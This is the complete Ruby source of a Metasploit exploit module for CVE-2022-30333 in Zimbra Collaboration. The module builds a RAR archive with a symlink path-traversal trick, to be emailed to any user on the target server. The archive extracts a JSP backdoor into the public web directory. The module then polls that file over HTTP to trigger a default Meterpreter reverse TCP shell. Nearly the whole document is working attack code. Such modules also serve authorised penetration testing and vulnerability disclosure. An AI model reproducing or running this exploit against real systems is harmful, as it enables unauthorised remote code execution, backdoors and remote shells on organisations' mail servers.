This Metasploit module creates a RAR file that can be emailed to a Zimbra server to exploit CVE-2022-30333. If successful, it plants a JSP-based backdoor in the public web directory, then executes that backdoor. The core vulnerability is a path-traversal issue in unRAR that can extract an arbitrary file to an arbitrary location on a Linux system. This issue is exploitable on Zimbra Collaboration versions 9.0.0 Patch 24 and below and 8.8.15 Patch 31 and below provided that UnRAR versions 6.11 or below are installed.
ca0f5b8e2038241415fba603b901534752f2529d4c8d1c1134f97e76d1935fef##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Format::RarSymlinkPathTraversal
def initialize(info = {})
super(
update_info(
info,
'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',
'Description' => %q{
This module creates a RAR file that can be emailed to a Zimbra server
to exploit CVE-2022-30333. If successful, it plants a JSP-based
backdoor in the public web directory, then executes that backdoor.
The core vulnerability is a path-traversal issue in unRAR that can
extract an arbitrary file to an arbitrary location on a Linux system.
This issue is exploitable on the following versions of Zimbra, provided
UnRAR version 6.11 or earlier is installed:
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
},
'Author' => [
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-30333'],
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[ 'Zimbra Collaboration Suite', {} ]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
'TARGET_FILENAME' => nil,
'DisablePayloadHandler' => false,
'RPORT' => 443,
'SSL' => true
},
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
# Separating the path, filename, and extension allows us to randomize the filename
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
]
)
register_advanced_options(
[
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),
# Took this from multi/handler
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
]
)
end
# Generate an on-system filename using datastore options
def generate_target_filename
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
end
File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
end
# Normalize the path traversal and figure out where it is relative to the web root
def zimbra_get_public_path(target_filename)
# Normalize the path
normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath
# Figure out where it is, relative to the webroot
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')
relative_path = normalized_path.relative_path_from(webroot)
# Hopefully, we found a path from the webroot to the payload!
if relative_path.to_s.start_with?('../')
return nil
end
relative_path
end
def exploit
print_status('Encoding the payload as a .jsp file')
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)
# Create a file
target_filename = generate_target_filename
print_status("Target filename: #{target_filename}")
begin
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
end
file_create(rar)
print_good('File created! Email the file above to any user on the target Zimbra server')
# Bail if they don't want the payload triggered
return unless datastore['TRIGGER_PAYLOAD']
# Get the public path for triggering the vulnerability, terminate if we
# can't figure it out
public_filename = zimbra_get_public_path(target_filename)
if public_filename.nil?
print_warning('Could not determine the public web path, disabling payload triggering')
return
end
register_file_for_cleanup(target_filename)
interval = datastore['CheckInterval'].to_i
print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")
# This loop is mostly from `multi/handler`
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
timeout = datastore['ListenerTimeout'].to_i
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)
unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end
Rex::ThreadSafe.sleep(interval)
end
end
end